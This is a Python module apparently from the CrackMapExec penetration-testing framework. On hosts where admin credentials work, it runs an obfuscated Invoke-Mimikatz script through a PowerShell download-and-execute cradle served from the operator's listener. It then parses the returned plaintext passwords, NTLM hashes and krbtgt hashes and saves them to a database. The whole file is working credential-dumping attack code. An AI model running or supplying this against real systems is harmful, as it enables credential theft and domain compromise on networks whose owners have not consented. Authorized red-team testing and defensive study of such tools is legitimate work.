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from cme.helpers.powershell import obfs_ps_script, gen_ps_iex_cradle
from cme.helpers.misc import validate_ntlm
from cme.helpers.logger import write_log, highlight
from datetime import datetime
import re
class CMEModule:
'''
Executes PowerSploit's Invoke-Mimikatz.ps1 script
Module by @byt3bl33d3r
'''
name = 'mimikatz'
description = "Dumps all logon credentials from memory"
supported_protocols = ['smb', 'mssql']
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
'''
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
'''
self.command = 'privilege::debug sekurlsa::logonpasswords exit'
if module_options and 'COMMAND' in module_options:
self.command = module_options['COMMAND']
self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-Mimikatz.ps1')
def on_admin_login(self, context, connection):
command = "Invoke-Mimikatz -Command '{}'".format(self.command)
launcher = gen_ps_iex_cradle(context, 'Invoke-Mimikatz.ps1', command)
connection.ps_execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request):
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(self.ps_script)
else:
request.send_response(404)
request.end_headers()
def uniquify_tuples(self, tuples):
"""
uniquify mimikatz tuples based on the password
cred format- (credType, domain, username, password, hostname, sid)
Stolen from the Empire project.
"""
seen = set()
return [item for item in tuples if "{}{}{}{}".format(item[0],item[1],item[2],item[3]) not in seen and not seen.add("{}{}{}{}".format(item[0],item[1],item[2],item[3]))]
def parse_mimikatz(self, data):
"""
Parse the output from Invoke-Mimikatz to return credential sets.
This was directly stolen from the Empire project as well.
"""
# cred format:
# credType, domain, username, password, hostname, sid
creds = []
# regexes for "sekurlsa::logonpasswords" Mimikatz output
regexes = ["(?s)(?<=msv :).*?(?=tspkg :)", "(?s)(?<=tspkg :).*?(?=wdigest :)", "(?s)(?<=wdigest :).*?(?=kerberos :)", "(?s)(?<=kerberos :).*?(?=ssp :)", "(?s)(?<=ssp :).*?(?=credman :)", "(?s)(?<=credman :).*?(?=Authentication Id :)", "(?s)(?<=credman :).*?(?=mimikatz)"]
hostDomain = ""
domainSid = ""
hostName = ""
lines = data.split("\n")
for line in lines[0:2]:
if line.startswith("Hostname:"):
try:
domain = line.split(":")[1].strip()
temp = domain.split("/")[0].strip()
domainSid = domain.split("/")[1].strip()
hostName = temp.split(".")[0]
hostDomain = ".".join(temp.split(".")[1:])
except:
pass
for regex in regexes:
p = re.compile(regex)
for match in p.findall(data):
lines2 = match.split("\n")
username, domain, password = "", "", ""
for line in lines2:
try:
if "Username" in line:
username = line.split(":",1)[1].strip()
elif "Domain" in line:
domain = line.split(":",1)[1].strip()
elif "NTLM" in line or "Password" in line:
password = line.split(":",1)[1].strip()
except:
pass
if username != "" and password != "" and password != "(null)":
sid = ""
# substitute the FQDN in if it matches
if hostDomain.startswith(domain.lower()):
domain = hostDomain
sid = domainSid
if validate_ntlm(password):
credType = "hash"
else:
credType = "plaintext"
# ignore machine account plaintexts
if not (credType == "plaintext" and username.endswith("$")):
creds.append((credType, domain, username, password, hostName, sid))
if len(creds) == 0:
# check if we have lsadump output to check for krbtgt
# happens on domain controller hashdumps
for x in xrange(8,13):
if lines[x].startswith("Domain :"):
domain, sid, krbtgtHash = "", "", ""
try:
domainParts = lines[x].split(":")[1]
domain = domainParts.split("/")[0].strip()
sid = domainParts.split("/")[1].strip()
# substitute the FQDN in if it matches
if hostDomain.startswith(domain.lower()):
domain = hostDomain
sid = domainSid
for x in xrange(0, len(lines)):
if lines[x].startswith("User : krbtgt"):
krbtgtHash = lines[x+2].split(":")[1].strip()
break
if krbtgtHash != "":
creds.append(("hash", domain, "krbtgt", krbtgtHash, hostName, sid))
except Exception as e:
pass
if len(creds) == 0:
# check if we get lsadump::dcsync output
if '** SAM ACCOUNT **' in lines:
domain, user, userHash, dcName, sid = "", "", "", "", ""
for line in lines:
try:
if line.strip().endswith("will be the domain"):
domain = line.split("'")[1]
elif line.strip().endswith("will be the DC server"):
dcName = line.split("'")[1].split(".")[0]
elif line.strip().startswith("SAM Username"):
user = line.split(":")[1].strip()
elif line.strip().startswith("Object Security ID"):
parts = line.split(":")[1].strip().split("-")
sid = "-".join(parts[0:-1])
elif line.strip().startswith("Hash NTLM:"):
userHash = line.split(":")[1].strip()
except:
pass
if domain != "" and userHash != "":
creds.append(("hash", domain, user, userHash, dcName, sid))
return self.uniquify_tuples(creds)
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = response.rfile.read(length)
# We've received the response, stop tracking this host
response.stop_tracking_host()
if len(data):
if self.command.find('sekurlsa::logonpasswords') != -1:
creds = self.parse_mimikatz(data)
if len(creds):
for cred_set in creds:
credtype, domain, username, password,_,_ = cred_set
# Get the hostid from the DB
hostid = context.db.get_computers(response.client_address[0])[0][0]
context.db.add_credential(credtype, domain, username, password, pillaged_from=hostid)
context.log.highlight('{}\\{}:{}'.format(domain, username, password))
context.log.success("Added {} credential(s) to the database".format(highlight(len(creds))))
else:
context.log.highlight(data)
log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)
context.log.info("Saved raw Mimikatz output to {}".format(log_name))
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